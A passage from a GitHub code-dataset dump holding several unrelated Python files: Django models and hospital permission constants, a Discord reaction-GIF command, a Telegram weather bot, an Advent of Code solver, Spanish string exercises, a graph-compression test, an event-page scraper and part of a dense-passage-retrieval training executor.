models.ManyToManyField(Interest, null=True, blank=True)\n\n meet_new_people = models.BooleanField(default=True)\n\n def nearby_people(self):\n '''\n Get a list(like object) of people checked into the same place as this\n one.\n\n '''\n if self.current_location is None:\n return []\n return self.current_location.userprofile_set.exclude(user=self.user)\n\n def avatar_url(self):\n '''\n Get the relative URL of this user's avatar.\n\n '''\n return urlparse.urljoin(settings.STATIC_URL,\n 'core/img/{}.png'.format(self.user.id))\n\n def serialize(self, detailed=False):\n '''\n Return a JSON encodable Python representation.\n \n '''\n ret = {\n 'id': self.user.id,\n 'first_name': self.user.first_name,\n 'last_name': self.user.last_name,\n 'handle': self.user.username,\n 'bio': self.bio,\n 'interests': [intr.serialize(detailed) for intr in self.interests.all()],\n 'meet_new_people': self.meet_new_people,\n 'avatar': self.avatar_url()\n }\n\n if detailed:\n ret.update({\n 'connections': [u.user.id for u in self.connections.all()],\n 'current_location': self.current_location.serialize(detailed)\n })\n\n return ret\n\n\nclass PlacePicture(models.Model):\n '''\n Picture uploaded by a user of a place.\n\n '''\n path = models.TextField()\n author = models.ForeignKey(UserProfile)\n place = models.ForeignKey(Place)\n\n\nclass Notification(models.Model):\n '''\n A transient notification for a user, purged when the client reads it.\n \n '''\n # The user for whom this is intended\n user = models.ForeignKey(User)\n\n # The json data for the notification\n data = models.TextField()\n \n","repo_name":"yati-sagade/five","sub_path":"core/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":6075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"21388900514","text":"import discord\r\nfrom discord import File\r\nfrom discord.utils import get\r\nfrom discord.ext import commands\r\nfrom easy_pil import Editor, load_image_async, Font, load_image\r\nfrom PIL import Image\r\nfrom io import BytesIO\r\nimport random\r\nimport os\r\n\r\n\r\nclass Spank(commands.Cog):\r\n def __init__(self, bot:commands.Bot):\r\n self.bot = bot\r\n\r\n @commands.command()\r\n async def spank(self, ctx, member: discord.Member):\r\n \"\"\"Spank a user\"\"\"\r\n # list of image URLs\r\n image_urls = [\"https://cdn.discordapp.com/attachments/1097782168194912296/1098254998179151952/spank-bunny-naughty-bunny.gif\",\r\n \"https://cdn.discordapp.com/attachments/1097782168194912296/1098254997797490819/spank4.gif\",\r\n \"https://cdn.discordapp.com/attachments/1097782168194912296/1098254997487104080/spank.gif\",\r\n \"https://cdn.discordapp.com/attachments/1097782168194912296/1098254996933443735/spank_3.gif\",\r\n \"https://cdn.discordapp.com/attachments/1097782168194912296/1098254996023300229/spank_1.gif\",\r\n \"https://cdn.discordapp.com/attachments/1097782168194912296/1098254995645792296/rikka-takanashi-bad-girl.gif\",\r\n \"https://cdn.discordapp.com/attachments/1097782168194912296/1098254995289297016/bad-spank.gif\",\r\n \"https://cdn.discordapp.com/attachments/1097782168194912296/1098254994928578591/asobi-asobase-school-girl.gif\",\r\n \"https://cdn.discordapp.com/attachments/1097782168194912296/1098254994379112508/anime-school-girl.gif\",\r\n \"https://cdn.discordapp.com/attachments/1097782168194912296/1098254993989054545/anime-girl.gif\",\r\n ]\r\n # randomly select an image URL from the list\r\n image_url = random.choice(image_urls)\r\n\r\n phrases = [f\"{ctx.author.display_name} spanks {member.display_name} ! How naughty 〜\",\r\n f\"{ctx.author.display_name} spanks {member.display_name}'s butt !! Oh my 〜 !!\",\r\n f\"{ctx.author.display_name} spanked {member.display_name} 〜 kinky...\",\r\n ]\r\n \r\n phrase = random.choice(phrases)\r\n embed = discord.Embed(color=random.randint(0, 0xFFFFFF))\r\n embed.set_author(name=phrase,\r\n icon_url=ctx.author.display_avatar)\r\n\r\n embed.set_image(url=image_url)\r\n # send the embed as a reply\r\n await ctx.send(embed=embed)\r\n\r\ndef setup(bot:commands.Bot):\r\n bot.add_cog(Spank(bot))","repo_name":"wolf4605/Welcome-Bot-with-Fun-Commands","sub_path":"assets/spank.py","file_name":"spank.py","file_ext":"py","file_size_in_byte":2526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"17342850087","text":"import schedule\nimport requests\nimport json\nfrom telegram.ext import Updater\nfrom telegram.ext import CommandHandler\nfrom telegram.ext import MessageHandler, Filters\nfrom telegram.ext import ConversationHandler\nimport logging\nimport database\nkeys = json.load(open(\"keys.json\"))\nbot_api_key = keys[\"bot_api_key\"]\nappid = keys[\"appid_key\"]\nprev_answer = \" \"\n\nupdater = Updater(token = bot_api_key, use_context = True)\ndispatcher = updater.dispatcher\n\ndef start(update, context): #start command handler func gives the \"hello\"-message\n context.bot.send_message(chat_id = update.effective_chat.id, text = \"I'm a bot, that will help you with everyday morning forecast. Use /add_city or /add_city_geo\")\n database.new_user_reg(update.effective_chat.id)\n\ndef add_city(update, context):\n user_says = \" \".join(context.args)\n city_mode(update,context, user_says)\n\n#def add_city_geo(update, context):\n\n\n\ndef unknown(update, context):#unknow command handler is\n context.bot.send_message(chat_id=update.effective_chat.id, text=\"Sorry, I didn't understand that command.\")\n\ndef weather_text_response(update, context, result):\n weather_data = result.json()\n current_condition_string = (\"Current weather: '{}'\".format(weather_data['weather'][0]['description']))\n current_temp_string = (\"Current temperature: {}℃\".format(int(weather_data['main']['temp']-273)))\n minimum_temp_string = (\"Minimal temperature: {}℃\".format(int(weather_data['main']['temp_min']-273)))\n maximum_temp_string = (\"Maximal temperature: {}℃\".format(int(weather_data['main']['temp_max']-273)))\n context.bot.send_message(chat_id = update.effective_chat.id, text = \"This is your weather forecast:\\n{}\\n{}\\n{}\\n{}\".format(\n current_condition_string,\n current_temp_string, \n minimum_temp_string,\n maximum_temp_string))\n\ndef geo_mode(update, context): #geo handler func\n if prev_answer == \"/add_city_geo\":\n try: \n lat = update.message.location.latitude\n lon = update.message.location.longitude\n result = requests.get(\"https://api.openweathermap.org/data/2.5/weather?lat={}&lon={}&appid={}\".format(lat,lon,appid))\n weather_text_response(update, context, result)\n except Exception as ex:\n print(ex)\n\ndef city_mode(update, context,text):\n try:\n city = text\n result = requests.get(\"https://api.openweathermap.org/data/2.5/weather?q={}&appid={}\".format(city,appid))\n weather_text_response(update, context, result)\n database.adding_city_text(city, update.effective_chat.id)\n except Exception as ex:\n print(ex)\n\n\n ","repo_name":"savuardy/sav_bot","sub_path":"tele_func.py","file_name":"tele_func.py","file_ext":"py","file_size_in_byte":2653,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"} +{"seq_id":"10200418411","text":"from django.forms import fields\nfrom phonenumber_field import formfields\n\nGENDER_CHOICES = (\n (\"M\", \"Male\"),\n (\"F\", \"Female\"),\n)\n\nBLOOD_GROUPS = (\n (\"A+\",) * 2,\n (\"A-\",) * 2,\n (\"B+\",) * 2,\n (\"B-\",) * 2,\n (\"O+\",) * 2,\n (\"O-\",) * 2,\n (\"AB+\",) * 2,\n (\"AB-\",) * 2,\n)\nWORKING_HOURS = (\n (\"08:00-13:00\", \"Morning\"),\n (\"13:00-18:00\", \"Noon\"),\n (\"18:00-00:00\", \"Night\"),\n)\n\nCATEGORIES = (\n (\"D\", \"Doctor\"),\n (\"P\", \"Patient\"),\n (\"S\", \"Staff\"),\n)\n\nGROUPS = [\"Doctors\", \"Patients\", \"Staffs\"]\nPERMISSIONS = {\n \"Doctors\": [\n \"add_appointment\",\n \"change_appointment\",\n \"delete_appointment\",\n \"view_appointment\",\n \"view_department\",\n \"change_doctor\",\n \"view_patient\",\n \"view_lab\",\n \"add_medicalrecord\",\n \"change_medicalrecord\",\n \"view_medicalrecord\",\n \"delete_medicalrecord\",\n \"add_prescription\",\n \"change_prescription\",\n \"delete_prescription\",\n \"view_prescription\",\n \"add_xray\",\n \"change_xray\",\n \"delete_xray\",\n \"view_xray\",\n \"view_role\",\n \"view_staff\",\n ],\n \"Patients\": [\n \"add_appointment\",\n \"change_appointment\",\n \"delete_appointment\",\n \"view_appointment\",\n \"view_department\",\n \"view_patient\",\n \"view_lab\",\n \"view_medicalrecord\",\n \"view_prescription\",\n \"view_xray\",\n \"view_role\",\n \"view_staff\",\n ],\n \"Staffs\": [\n \"add_appointment\",\n \"change_appointment\",\n \"delete_appointment\",\n \"view_appointment\",\n \"add_department\",\n \"change_department\",\n \"delete_department\",\n \"view_department\",\n \"add_doctor\",\n \"change_doctor\",\n \"delete_doctor\",\n \"view_doctor\",\n \"add_patient\",\n \"change_patient\",\n \"delete_patient\",\n \"view_patient\",\n \"add_lab\",\n \"change_lab\",\n \"delete_lab\",\n \"view_lab\",\n \"view_medicalreport\",\n \"view_prescription\",\n \"add_xray\",\n \"change_xray\",\n \"delete_xray\",\n \"view_xray\",\n \"add_role\",\n \"change_role\",\n \"delete_role\",\n \"view_role\",\n \"add_staff\",\n \"change_staff\",\n \"delete_staff\",\n \"view_staff\",\n ],\n}\n\nREGISTRATION_FIELDS = [\n \"first_name\",\n \"last_name\",\n \"username\",\n \"email\",\n \"password\",\n \"profile_pic\",\n \"date_of_birth\",\n \"phone_number\",\n \"gender\",\n \"blood_group\",\n \"address\",\n \"eid\",\n]\nSIGN_UP_LAYOUT = [\n ['X', 'X'],\n ['X', 'X'],\n ['X', 'X'],\n ['X', 'X'],\n ['X', 'X'],\n ['X', 'X'],\n ['X'],\n ['X'],\n]\nWIDGET_ATTRS = {\n fields.CharField: {\n \"class\": \"block px-2.5 pb-2.5 pt-4 w-full text-sm text-gray-900 bg-transparent rounded-lg border-1 border-gray-300 appearance-none dark:text-white dark:border-gray-600 dark:focus:border-blue-500 focus:outline-none focus:ring-0 focus:border-blue-600 peer\",\n \"placeholder\": \" \"\n },\n fields.EmailField: {\n \"class\": \"block px-2.5 pb-2.5 pt-4 w-full text-sm text-gray-900 bg-transparent rounded-lg border-1 border-gray-300 appearance-none dark:text-white dark:border-gray-600 dark:focus:border-blue-500 focus:outline-none focus:ring-0 focus:border-blue-600 peer\",\n \"placeholder\": \" \"\n },\n fields.ImageField: {\n \"class\": \"block w-full text-sm text-gray-400 bg-gray-50 rounded-lg border border-gray-300 cursor-pointer dark:text-gray-400 focus:outline-none dark:bg-gray-900 dark:border-gray-600 dark:placeholder-gray-400\"\n },\n fields.DateField: {\n \"datepicker\": True,\n \"datepicker-autohide\": True,\n \"datepicker-format\": \"yyyy-mm-dd\",\n \"datepicker-orientation\": \"top\",\n \"datepicker-title\": \"Date of Birth\",\n \"type\": \"text\",\n \"class\": \"bg-gray-50 border border-gray-300 text-gray-900 text-sm rounded-lg focus:ring-blue-500 focus:border-blue-500 block w-full pl-10 p-2.5 dark:bg-gray-900 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500\",\n \"placeholder\": \"Select date\",\n \"required\": True\n },\n fields.TypedChoiceField: {\n \"class\": \"bg-gray-50 border border-gray-300 text-gray-900 text-sm rounded-lg focus:ring-blue-500 focus:border-blue-500 block w-full p-2.5 dark:bg-gray-900 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500\",\n \"required\": True\n },\n formfields.PhoneNumberField: {\n \"type\": \"tel\",\n \"name\": \"phone_number\",\n \"id\": \"phone_number\",\n \"class\": \"block px-2.5 pb-2.5 pt-4 w-full text-sm text-gray-900 bg-transparent rounded-lg border-1 border-gray-300 appearance-none dark:text-white dark:border-gray-600 dark:focus:border-blue-500 focus:outline-none focus:ring-0 focus:border-blue-600 peer\",\n \"placeholder\": \" \",\n \"required\": True\n },\n}\n\"\"\"\nCan add log entry add_logentry\nCan change log entry change_logentry\nCan delete log entry delete_logentry\nCan view log entry view_logentry\nCan add appointment add_appointment\nCan change appointment change_appointment\nCan delete appointment delete_appointment\nCan view appointment view_appointment\nCan add group add_group\nCan change group change_group\nCan delete group delete_group\nCan view group view_group\nCan add permission add_permission\nCan change permission change_permission\nCan delete permission delete_permission\nCan view permission view_permission\nCan add content type add_contenttype\nCan change content type change_contenttype\nCan delete content type delete_contenttype\nCan view content type view_contenttype\nCan add department add_department\nCan change department change_department\nCan delete department delete_department\nCan view department view_department\nCan add doctor add_doctor\nCan change doctor change_doctor\nCan delete doctor delete_doctor\nCan view doctor view_doctor\nCan add patient add_patient\nCan change patient change_patient\nCan delete patient delete_patient\nCan view patient view_patient\nCan add lab add_lab\nCan change lab change_lab\nCan delete lab delete_lab\nCan view lab view_lab\nCan add medical report add_medicalreport\nCan change medical report change_medicalreport\nCan delete medical report delete_medicalreport\nCan view medical report view_medicalreport\nCan add prescription add_prescription\nCan change prescription change_prescription\nCan delete prescription delete_prescription\nCan view prescription view_prescription\nCan add x ray add_xray\nCan change x ray change_xray\nCan delete x ray delete_xray\nCan view x ray view_xray\nCan add session add_session\nCan change session change_session\nCan delete session delete_session\nCan view session view_session\nCan add role add_role\nCan change role change_role\nCan delete role delete_role\nCan view role view_role\nCan add staff add_staff\nCan change staff change_staff\nCan delete staff delete_staff\nCan view staff view_staff\nCan add user add_userprofile\nCan change user change_userprofile\nCan delete user delete_userprofile\nCan view user view_userprofile\n\"\"\"\n","repo_name":"nihaalnz/New-Life-Hospital-System","sub_path":"new_life/new_life/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":7132,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"22938776388","text":"from typing import List\nimport numpy as np\nimport re\n\n\ndef _proc_input(input: str) -> tuple[List[int], List[np.ndarray]]:\n nums, _, *boards = input.split(\"\\n\")\n nums = list(map(int, nums.split(\",\")))\n the_boards = [[]]\n for l in boards:\n if not l:\n the_boards.append([])\n continue\n the_boards[-1].append(list(map(int, re.split(r\"\\s+\", l.strip()))))\n the_boards = [np.array(x) for x in the_boards]\n return nums, the_boards\n\n\ndef _solver(nums: List[int], the_boards: List[np.ndarray], quit: bool) -> int:\n last = None\n winners = set()\n for n in nums:\n for i, b in enumerate(the_boards):\n if i in winners:\n continue\n b[b==n] = -1\n if -5 in b.sum(0) or -5 in b.sum(1):\n winners.add(i)\n last = b[b>=0].sum()*n\n if quit:\n return last\n return last\n\n\ndef solve_day_4(input: str) -> tuple[int, int]:\n nums, the_boards = _proc_input(input)\n ans_1 = _solver(nums, [x.copy() for x in the_boards], True)\n ans_2 = _solver(nums, the_boards, False)\n return ans_1, ans_2","repo_name":"JamesArruda/AdventOfCode_2021","sub_path":"advent2021/solutions/day_04.py","file_name":"day_04.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"74173064363","text":"#Archivo con diversas funciones para practicar varios temas que se toman del libro de \n#Computer Science with Python - Zelle cápitulo 4\n\ndef numeros_notas():\n #notas convertidas de numeros a letras\n notas = ['F', 'F', 'D', 'C', 'B', 'A']\n while True:\n quiz_nota = input(\"Ingrese la nota del quiz (1-5): \")\n try:\n quiz_nota = int(quiz_nota)\n except:\n print(\"El valor de la nota es invalido!\")\n else:\n if quiz_nota < 0 or quiz_nota > 5:\n print(\"Nota fuera del rango 1 - 5!\")\n else:\n break\n print(f\"La nota general es {notas[quiz_nota]}\")\n\ndef acronimo():\n #Toma una frase y muestra las letras inciales de cada palabra en mayúsculas\n frase = input(\"Ingrese la frase a acronimizar: \")\n frase = frase.lower()\n\n for letra in range(len(frase)):\n if letra == 0:\n print(frase[letra].upper(), end=\"\")\n if frase[letra] == \" \" and letra != len(frase) - 1:\n print(frase[letra + 1].upper(), end=\"\")\n print() \n\ndef nombres_numerologicos():\n #Pide un nombre y se devuelve un valor entero. Teniendo en cuenta a=1, b=2 .. z=26\n\n while True:\n valor_nombre = 0\n nombre = input(\"Ingrese su nombre para darle su valor: \")\n nombre = nombre.lower()\n try:\n suma = 0\n for letra in nombre:\n if (ord(letra) >= 97 and ord(letra) <= 122) or letra == \" \":\n suma += 1\n except:\n print(\"Error\")\n else:\n if suma == len(nombre):\n break\n else:\n print(\"Se necesitan solo letras!\")\n\n for letra in nombre:\n if letra != \" \":\n valor_nombre += ord(letra) - 96\n\n print(f\"El valor numerologico de tu nombre es {valor_nombre}\") \n \ndef cifra_cesar():\n #Codifica un texto moviendose determinadas pociones (llave) en el alfabeto. LLave 2 a = c\n\n frase = input(\"Ingrese la frase a codificar: \")\n\n while True:\n llave = input(\"Ingrese el valor de la llave(1-26): \")\n try:\n llave = int(llave)\n except ValueError:\n print(\"El dato debe ser un numero de 1 a 26!\")\n else:\n if llave < 1 or llave > 26:\n print(\"El dato debe ser un numero de 1 a 26!\")\n else:\n break\n\n for letra in frase:\n print(chr(ord(letra) + llave), end=\"\")\n\n print()\n\ndef menu():\n print(\"*** TAREAS VARIAS ***\")\n print()\n print(\"1. Convertir Notas - Numeros a Letras\")\n print(\"2. Acronimo\")\n print(\"3. Nombres Numerologicos\")\n print(\"4. Cifra Cesar\")\n print(\"5. Cuenta Palabras\")\n print(\"6. Promedio Tamano Palabras\")\n print(\"7. Numero Vocales\")\n print()\n\ndef eleccion():\n seleccion = input(\"Escriba el numero de su seleccion: \")\n if seleccion == '1':\n numeros_notas()\n elif seleccion == '2':\n acronimo()\n elif seleccion == '3':\n nombres_numerologicos()\n elif seleccion == '4':\n cifra_cesar()\n elif seleccion == '5':\n cuenta_palabras()\n elif seleccion == '6':\n promedio_largo_palabra()\n elif seleccion == '7':\n cuantas_vocales()\n\ndef cuenta_palabras():\n #cuenta el numero de palabras de una oracion\n\n frase = input(\"Ingrese una oracion: \").split(\" \")\n print(f\"Su oracion tiene {len(frase)} palabras!\")\n\ndef promedio_largo_palabra():\n #Devuleve el promedio del tamano de las palabras en una oracion\n\n frase = input(\"Escriba una frase: \").split(\" \")\n suma = 0\n\n for palabra in frase:\n suma += len(palabra)\n\n print(f\"El promedio del tamano por palabras de su frase es {suma / len(frase)}\")\n\ndef cuantas_vocales():\n #Imprime cuantas vocales hay en una frase\n \n vocales = [0, 0, 0, 0, 0]\n frase = input(\"Escriba una frase: \")\n frase = frase.lower()\n\n for letra in frase:\n if letra == 'a':\n vocales[0] += 1\n elif letra == 'e':\n vocales[1] += 1\n elif letra == 'i':\n vocales[2] += 1\n elif letra == 'o':\n vocales[3] += 1\n elif letra == 'u':\n vocales[4] += 1\n\n for vocal in range(len(vocales)):\n if vocal == 0:\n print(f\"Hay {vocales[vocal]} vocales a.\")\n elif vocal == 1:\n print(f\"Hay {vocales[vocal]} vocales e.\")\n elif vocal == 2:\n print(f\"Hay {vocales[vocal]} vocales i.\")\n elif vocal == 3:\n print(f\"Hay {vocales[vocal]} vocales o.\")\n elif vocal == 4:\n print(f\"Hay {vocales[vocal]} vocales u.\")\n\n\nmenu()\neleccion()\n\n","repo_name":"yrod15x/Tareas_Python","sub_path":"muchas_tareas.py","file_name":"muchas_tareas.py","file_ext":"py","file_size_in_byte":4648,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"13229845474","text":"import unittest\n\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory, NamedTemporaryFile\nfrom typing import Dict\n\nfrom click.testing import CliRunner\n\nfrom swh.core import config\nfrom swh.graph import cli\n\n\ndef read_properties(properties_fname) -> Dict[str, str]:\n \"\"\"read a Java .properties file\"\"\"\n properties = {}\n with open(properties_fname) as f:\n for line in f:\n if line.startswith(\"#\"):\n continue\n (key, value) = line.rstrip().split(\"=\", maxsplit=1)\n properties[key] = value\n\n return properties\n\n\nclass TestCompress(unittest.TestCase):\n\n DATA_DIR = Path(__file__).parents[0] / \"dataset\"\n\n def setUp(self):\n self.runner = CliRunner()\n\n tmpconf = NamedTemporaryFile(\n mode=\"w\", delete=False, prefix=\"swh-graph-test\", suffix=\".yml\"\n )\n # bare bone configuration, to allow testing the compression pipeline\n # with minimum RAM requirements on trivial graphs\n tmpconf.write(\n \"\"\"\ngraph:\n compress:\n batch_size: 1000\n\"\"\"\n )\n tmpconf.close()\n self.conffile = Path(tmpconf.name)\n self.config = config.read(self.conffile, cli.DEFAULT_CONFIG)\n\n def tearDown(self):\n if self.conffile.exists():\n self.conffile.unlink()\n\n def test_pipeline(self):\n \"\"\"run full compression pipeline\"\"\"\n with TemporaryDirectory(suffix=\".swh-graph-test\") as tmpdir:\n result = self.runner.invoke(\n cli.compress,\n [\"--graph\", self.DATA_DIR / \"example\", \"--outdir\", tmpdir],\n obj={\"config\": self.config},\n )\n\n self.assertEqual(result.exit_code, 0)\n properties = read_properties(Path(tmpdir) / \"example.properties\")\n self.assertEqual(int(properties[\"nodes\"]), 21)\n self.assertEqual(int(properties[\"arcs\"]), 23)\n","repo_name":"k13n/swh-graph","sub_path":"swh/graph/tests/test_cli.py","file_name":"test_cli.py","file_ext":"py","file_size_in_byte":1911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"33058101778","text":"from bs4 import BeautifulSoup\nimport requests\nimport pandas as pd\nimport html\n\nheaders = {\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36'}\n\n# --------------------------------------------------------------\nurl = 'https://scrapartsmusic.com/events'\npage = requests.get(url, headers=headers)\nsoup = BeautifulSoup(page.content, 'html.parser')\n# --------------------------------------------------------------\n\n#testing the conection \nprint(page.status_code) # if answer=200 ->ok\n\n# Searching for a TABLE with the CLASS....then Find All the tr tags\ntable = soup.find('table', class_='table-style border-accent').find_all('tr')\n\n# --------------Setting Variables -----------------------------------------\nevent_date = soup.find_all('span', class_=\"date\")\nevent_name = soup.find_all('span', class_=\"name\")\nevent_location = soup.find_all('span', class_=\"text text-tertiary\")\n\n#Creating a List called eventos \neventos = []\n\nfor i in table:\n #getting data from the table\n event_date = i.find_all('span', class_=\"date\")\n event_name = i.find_all('span', class_=\"text\")\n event_location = i.find_all('span', class_=\"text text-tertiary\")\n\n #if Exist get Text else Set \"Not available\"\n if event_date:\n event_date_txt = html.unescape(event_date[0].text)\n else:\n event_date_txt = \"Not available\"\n #if Exist get Text else Set \"Not available\"\n if event_name:\n event_name_txt = html.unescape(event_name[0].text)\n else:\n event_name_txt = \"Not available\"\n #if Exist get Text else Set \"Not available\"\n if event_location:\n event_location_txt = html.unescape(event_location[0].text)\n else:\n event_location_txt = \"Not available\"\n\n \n\n\n # LINKS -----------------------------------------------------------------\n event_link = soup.find_all('a', class_=\"event_details no-pjax\")\n #print(event_link)\n # print(type(event_link))\n\n for i in event_link:\n # print all the Href\n event_link_txt= i.get('href', None)\n #print(event_link_txt)\n\n url = 'https://scrapartsmusic.com/'+event_link_txt\n page = requests.get(url, headers=headers)\n soup = BeautifulSoup(page.content, 'html.parser')\n\n\n share_link = soup.find_all('a', class_='button button-tertiary zoogle-share')\n # print(share)\n\n for i in share_link:\n # print(i.get('href', None), end=\"\\n\")\n share_link_txt=i.get('href', None)\n print(share_link_txt)\n\n eventos.append([event_date_txt, event_name_txt, event_location_txt, share_link_txt])\n\n\n# Guardamos los datos para el dataframe\ndf = pd.DataFrame(eventos, columns=[\"Date\", \"Event\", \"Location\",\"Share\"])\n# print(df.head())\n\n# EXPORTAR >>> a un formato csv\ndf.to_json('SAM-Events.json', orient=\"index\")\n","repo_name":"cama0047/Web-scraping-001","sub_path":"webscrapingSAM.py","file_name":"webscrapingSAM.py","file_ext":"py","file_size_in_byte":2861,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"2605975515","text":"import math\nimport time\nimport os\nimport sys\nimport scipy\nimport datetime\nimport numpy as np\nimport json\nimport operator\nimport pickle\nfrom trainers.base_executor import BaseExecutor\nimport wandb\nimport logging\nlogger = logging.getLogger(__name__)\n\nfrom pprint import pprint\nfrom tqdm import tqdm\nfrom easydict import EasyDict\nfrom functools import partial\nimport pandas as pd\nimport copy\n\nimport faiss\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\n# from torch.utils.data import Dataset, DataLoader\nfrom torch.utils.tensorboard import SummaryWriter\n\nimport pytorch_lightning as pl\nfrom pytorch_lightning import Trainer, seed_everything\n\n# For TAPEX model\nfrom transformers import TapexTokenizer, BartConfig, BartForConditionalGeneration\nfrom transformers.models.auto.modeling_auto import MODEL_FOR_CAUSAL_LM_MAPPING_NAMES, MODEL_MAPPING_NAMES\nfrom transformers.modeling_utils import unwrap_model\nfrom datasets import Features, Sequence, Value, load_dataset, Dataset\n\nfrom .metrics_processors import MetricsProcessor\nfrom .base_executor import BaseExecutor\nfrom utils.dirs import *\nfrom models.dpr.dpr_retriever import RetrieverDPR\n\n# import mkl\n# mkl.get_max_threads()\n\nclass DPRExecutor(BaseExecutor):\n def __init__(self, config, data_loader):\n super().__init__(config, data_loader)\n \n self.tokenizer = data_loader.tokenizer\n self.decoder_tokenizer = data_loader.decoder_tokenizer\n \n ModelClass = globals()[self.config.model_config.ModelClass]\n\n self.model = ModelClass(config=config)\n self.model.resize_token_embeddings(len(self.tokenizer), len(self.decoder_tokenizer))\n \n self.tmp_table_dataset = None\n\n \n def configure_optimizers(self):\n \"\"\"\n Return optimizers and schedulers\n \"\"\"\n\n def get_parameter_names(model, forbidden_layer_types):\n \"\"\"\n Returns the names of the model parameters that are not inside a forbidden layer.\n \"\"\"\n result = []\n for name, child in model.named_children():\n result += [\n f\"{name}.{n}\"\n for n in get_parameter_names(child, forbidden_layer_types)\n if not isinstance(child, tuple(forbidden_layer_types))\n ]\n # Add model specific parameters (defined with nn.Parameter) since they are not in any child.\n result += list(model._parameters.keys())\n return result\n \n weight_decay = self.config.train.additional.get('weight_decay', 0)\n if weight_decay == 0:\n optimization_parameters = [\n {\n 'params': [p for n, p in self.model.named_parameters()],\n 'lr': self.config.train.lr,\n 'initial_lr': self.config.train.lr,\n },\n ]\n else:\n # The weight decay to apply (if not zero) to all layers except all bias and LayerNorm weights in [`AdamW`]\n ALL_LAYERNORM_LAYERS = [nn.LayerNorm]\n\n decay_parameters = get_parameter_names(self.model, ALL_LAYERNORM_LAYERS)\n decay_parameters = [name for name in decay_parameters if \"bias\" not in name]\n optimization_parameters = [\n {\n \"params\": [p for n, p in self.model.named_parameters() if n in decay_parameters],\n \"weight_decay\": weight_decay,\n 'lr': self.config.train.lr,\n 'initial_lr': self.config.train.lr,\n },\n {\n \"params\": [p for n, p in self.model.named_parameters() if n not in decay_parameters],\n \"weight_decay\": 0.0,\n 'lr': self.config.train.lr,\n 'initial_lr': self.config.train.lr,\n },\n ]\n\n for group in optimization_parameters:\n logger.info('#params: {} lr: {}'.format(len(group['params']), group['lr']))\n \n\n \"\"\"define optimizer\"\"\"\n self.optimizer = torch.optim.AdamW(\n optimization_parameters, lr=self.config.train.lr)\n\n if self.config.train.scheduler == 'linear':\n from transformers import get_linear_schedule_with_warmup\n # Using Linear scheduler\n self.scheduler = get_linear_schedule_with_warmup(\n self.optimizer,\n num_warmup_steps=self.config.train.additional.warmup_steps,\n num_training_steps=self.trainer.estimated_stepping_batches,\n last_epoch=self.global_step,\n )\n elif self.config.train.scheduler == 'cosine':\n t_total = self.config.train.epochs\n self.scheduler = optim.lr_scheduler.CosineAnnealingLR(self.optimizer, \n t_total, eta_min=1e-5, last_epoch=-1, verbose=False)\n else:\n from transformers import get_constant_schedule_with_warmup\n # Using constant scheduler\n self.scheduler = get_constant_schedule_with_warmup(\n self.optimizer,\n num_warmup_steps=self.config.train.additional.warmup_steps,\n last_epoch=self.global_step,\n )\n \n return {\n 'optimizer': self.optimizer,\n 'lr_scheduler': {\n # REQUIRED: The scheduler instance\n \"scheduler\": self.scheduler,\n # The unit of the scheduler's step size, could also be 'step'.\n # 'epoch' updates the scheduler on epoch end whereas 'step'\n # updates it after a optimizer update.\n \"interval\": \"step\",\n # How many epochs/steps should pass between calls to\n # `scheduler.step()`. 1 corresponds to updating the learning\n # rate after every epoch/step.\n \"frequency\": 1,\n # If using the `LearningRateMonitor` callback to monitor the\n # learning rate progress, this keyword can be used to specify\n # a custom logged name\n \"name\": None,\n }\n }\n\n\n def training_step(self, sample_batched, batch_idx):\n train_batch = {\n 'input_ids': sample_batched['input_ids'].to(self.device),\n 'attention_mask': sample_batched['attention_mask'].to(self.device),\n 'labels': sample_batched['labels'].to(self.device),\n 'item_input_ids': sample_batched['decoder_input_ids'].to(self.device),\n 'item_attention_mask': sample_batched['decoder_input_attention_mask'].to(self.device),\n }\n\n forward_results = self.model(**train_batch)\n batch_loss = forward_results.loss\n\n # if unwrap_model(self.model)._get_name() in MODEL_FOR_CAUSAL_LM_MAPPING_NAMES.values():\n # batch_loss = self.label_smoother(forward_results, train_batch.labels, shift_labels=True)\n # else:\n # batch_loss = self.label_smoother(forward_results, train_batch.labels)\n \n # log the current learning rate from shedulers\n current_lrs = self.scheduler.get_last_lr()\n for index, current_lr in enumerate(current_lrs):\n self.log(f\"train/lr[{index}]\", current_lr, prog_bar=True, on_step=True, logger=True, sync_dist=True)\n\n # logs metrics for each training_step,\n # and the average across the epoch, to the progress bar and logger\n self.log(\"train/loss\", batch_loss, on_step=True, on_epoch=True, logger=True, sync_dist=True)\n \n data_to_return = {\n 'loss': batch_loss,\n }\n return data_to_return\n \n\n def validation_step(self, sample_batched, batch_idx, dataloader_idx=0):\n # print(f'batch_idx {batch_idx} dataloader_idx {dataloader_idx}')\n return self._compute_query_embeddings_step(sample_batched, batch_idx)\n\n def validation_epoch_end(self, validation_step_outputs):\n\n for i in range(len(self.val_dataloader())):\n if len(self.val_dataloader()) == 1:\n validation_step_output = validation_step_outputs\n else:\n validation_step_output = validation_step_outputs[i]\n \n log_dict = self.evaluate_outputs(validation_step_output, self.val_dataloader()[i], self.val_dataloader_names[i])\n self.logging_results(log_dict, prefix=self.val_dataloader_names[i])\n \n 